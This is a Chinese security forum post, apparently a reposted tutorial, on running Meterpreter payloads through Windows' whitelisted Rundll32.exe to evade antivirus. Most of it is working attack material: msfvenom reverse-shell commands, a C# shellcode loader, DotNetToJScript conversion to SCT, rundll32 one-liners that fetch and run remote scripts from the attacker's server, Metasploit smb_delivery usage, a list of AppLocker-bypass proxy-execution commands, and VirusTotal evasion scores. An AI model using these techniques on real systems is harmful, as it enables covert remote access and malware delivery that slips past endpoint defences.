安全矩阵

 找回密码
 立即注册
搜索
查看: 3406|回复: 0

远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58)

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-3-7 23:51:03 | 显示全部楼层 |阅读模式
本帖最后由 Martini 于 2020-3-8 18:59 编辑

转自微信公众号Tide安全团队
免杀能力一览表
几点说明:
1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。



一、Rundll32.exe介绍
Rundll32.exe,可以执行32位的DLL文件,以命令行的方式调用动态链接程序库。。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样就实现了进程上的隐藏。系统中还有一个Rundll.exe文件,可以执行16位的DLL文件。
DLL文件对于Window的操作系统非常重要,它还决定了自定义Windows的其他程序的运行。动态链接库(DLL)文件是一种文件类型,它向其他程序提供有关如何调用某些内容的指令。因此,多个软件甚至可以同时共享这样的DLL文件。尽管与.exe文件的格式相同,但DLL文件不能像.exe文件那样直接执行。dll文件扩展名可以是:.dll(动态链接库)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(设备驱动程序)。
Rundll32.exe令行下的使用方法为:Rundll32.exe DLLname,Functionname,需注意x86,x64位的Rundll32调用,64位的系统默认调用的是64位Rundll32.exe(在C:\Windows\System32目录下)。
Windows 7 默认位置:
  1. <div>64位 C:\Windows\System32\rundll</div><div>32.exe32位 C:\Windows\SysWOW64\rundll32.exe</div>
复制代码



使用Rundll32.exe加载payload主要依赖于你加载的payload所做的免杀,我这只是列出来Rundll32.exe的3个常用的场景,至于对dll或sct文件的免杀,则需要你自己去尝试了。
由于Rundll32.exe被各大杀软都盯的比较紧了,而加载payload的免杀测试需要杀软的行为检测才合理,静态查杀dll或者sct或者Rundll32.exe文件自身都没有任何意义,所以本文对Rundll32.exe的免杀效果不做衡量,以第一种sct文件的免杀率作为参考。
二、使用Rundll32.exe执行payload
其实backlion大神已经介绍的非常全面了:https://www.cnblogs.com/backlion/p/10488747.html,我这里就再复现一下,主要测一下免杀率。
2.1 远程加载SCT文件(VT免杀率22/58)
这个生成sct费了不少功夫,之前看到亮神博客上提供了sct代码,https://micro8.gitbook.io/micro8 ... ayload-di-shi-yi-ji,但之前也没太关注,以为就是shellcode做的base64编码,这次要复现出来才发现走了些弯路,期间还请教了Green-m和haya等师傅,才复现了这个sct加载。
1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x86的,注意这个要和后面rundll32的版本相一致。
  1. msfvenom  -p windows/meterpreter/reverse_tcp -a x86 -f csharp  -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp
复制代码




2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。




代码如下,把shell_x86.csharp内容放到相应MsfPayload位置。
    1. using System.Threading;
    2. using System.Runtime.InteropServices;
    3. namespace MSFWrapper
    4. {
    5.     public class Program
    6.     {
    7.         public Program()
    8.         {
    9.             RunMSF();
    10.         }
    11.         public static void RunMSF()
    12.         {
    13.             byte[] MsfPayload =  {
    14. 0xbb,---shellcode here---0x1e };

    15.             IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
    16.             Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
    17.             CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
    18.             Thread.Sleep(2000);
    19.         }
    20.         public static void Main()
    21.         {
    22.         }
    23.         [DllImport("kernel32.dll")]
    24.         public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    25.         [DllImport("kernel32.dll")]
    26.         public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    27.     }
    28. }
    复制代码

修改一下项目属性,设置启动对象为MSFWrapper

编译生成exe,我这生成的就是默认的ConsoleApp2.exe

3.将exe转换为脚本文件
这时候需要一个工具DotNetToJScript
我这有一个编译好的DotNetToJScript工具:https://raw.githubusercontent.co ... DotNetToJScript.zip,可以直接下载使用。
将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件
  1. DotNetToJScript.exe -m -o=msf_x86.sct -c=MSFWrapper.Program -v 4 -d  ConsoleApp2.exe
复制代码




看下msf_x86.sct文件内容,发现和亮神博客上提供了sct代码是一样的。

4、将msf_x86.sct文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x86.sct

在msf中监听
然后在测试机执行
  1. <div align="left"><font color="#4a4a4a"></font></div><div align="left">C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:<a href="http://10.211.55.2/msf_x86.sct" target="_blank">http://10.211.55.2/msf_x86.sct</a>")</div>
复制代码


发现火绒的行为检测会预警
火绒放行后可正常执行
msf正常上线
virustotal.com上msf_x86.sct文件查杀率为22/58

2.2 利用smb_delivery(VT免杀率61/69)
Metasploit包含SMB Delivery模块,可生成恶意dll文件。该模块通过SMB服务器提供有效负载,并提供检索和执行生成的有效负载的命令。目前支持DLL和Powershell。
在msf中执行
  1. <div>use exploit/windows/smb/smb_delivery</div><div>msf exploit(windows/smb/smb_delivery) > set srvhost 10.211.55.24</div><div>msf exploit(windows/smb/smb_delivery) > exploit</div>
复制代码





在测试机器上执行
  1. rundll32.exe \\10.211.55.24\MUsmJ\test.dll,0
复制代码



发现360和火绒都会报警,不过360杀毒没有反应。


msf中可正常上线

virustotal.com上test.dll文件查杀率为61/69,没做免杀,肯定被查杀的很厉害。

2.3 MSFVenom生成dll(VT免杀率57/70)

利用msfvenom可以直接生成dll文件
  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -e x86/shikata_ga_nai -i 15 -b '\x00' -f dll -o test.dll
复制代码



然后将test.dll拷贝到测试机器上,在测试机上执行
  1. rundll32 shell32.dll,Control_RunDLL c:\test\test.dll
复制代码

发现360和火绒都会报警
msf中可正常上线
virustotal.com上test.dll文件查杀率为57/70,这种msf原生态的dll居然还有没查杀出来的..

三、Rundll32的使用
参考自ATT&CK手册。
1)直接执行dll文件
  1. rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa
  2. rundll32.exe "C:\Windows\twain_64.dll",EntryPoint
复制代码


2)调用系统中原生存在的dll中的未记录dll函数
2.1)调用shell32.dll函数执行控制面板项文件(.cpl)
  1. rundll32 shell32.dll,Control_RunDLL <文件名>
  2. control.exe test.cpl
复制代码


2.2)Advpack.dll - LaunchINFSection
advpack.dll用于帮助硬件和软件读取和验证·INF文件。正如老话所说,”大部分安全问题本质就是功能被误用“,advpack.dll也可以被攻击者利用进行代码/指令代理执行,
  1. rundll32.exe advpack.dll,LaunchINFSection  c:\test.inf,DefaultInstall_SingleUser,1,
  2. C:\\Windows\\System32\\rundll32 advpack.dll,LaunchINFSectionEx C:\\Windows\\system32\\ieuinit.inf,Install
  3. Requires admin: No
  4. Windows binary: Yes
  5. Bypasses AppLocker Default rules: Yes
复制代码


2.3)Advpack.dll - RegisterOCX
  1. rundll32.exe advpack.dll,RegisterOCX calc.exe
  2. Requires admin: No
  3. Windows binary: Yes
  4. Bypasses AppLocker Default rules: Yes
复制代码


2.4)zipfldr.dll - RouteTheCall
  1. rundll32.exe zipfldr.dll,RouteTheCall calc.exe
复制代码

2.5)url.dll - OpenURL
  1. rundll32  url.dll,OpenURL file://C:/Windows/system32/calc.exe
  2. rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
  3. rundll32.exe url.dll,OpenURL "C:\test\calc.url"
  4. rundll32.exe  url.dll,OpenURL <a href="http://192.168.1.4/Micropoor_url_dll.hta" target="_blank">http://192.168.1.4/Micropoor_url_dll.hta</a>
复制代码


2.6)url.dll - FileProtocolHandler
  1. rundll32.exe url.dll, FileProtocolHandler calc.exe
复制代码

2.7)ieframe.dll - OpenURL
  1. rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
复制代码

2.8)shdocvw.dll - OpenURL
  1. rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
复制代码

2.9)ieadvpack.dll - LaunchINFSection
  1. rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
复制代码

2.10)shell32.dll - ShellExec_RunDLL
  1. rundll32.exe shell32.dll,ShellExec_RunDLL C:\Windows\System32\calc.exe
复制代码

2.11)pcwutl.dll - LaunchApplication
  1. rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe
复制代码

2.12)Setupapi.dll - InstallHinfSection
  1. # Launch an executable file via the InstallHinfSection function and .inf file section directive.
  2. rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf
复制代码


2.13)Syssetup.dll - SetupInfObjectInstallAction
  1. # Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.
  2. rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf
复制代码


3)执行javascript脚本
  1. rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:<a href="http://reverse-tcp.xyz/payload.sct" target="_blank">http://reverse-tcp.xyz/payload.sct</a>");window.close();
  2. rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject("WScript.Shell");w.run("calc");window.close()");
  3. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
复制代码


四、参考资料
使用rundll32.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10488747.html
免杀 MSF Windows Payload 的方法与实践:https://mp.weixin.qq.com/s/OxgJIIPaXMXqrY5lPdukdA


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:32 , Processed in 0.014818 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表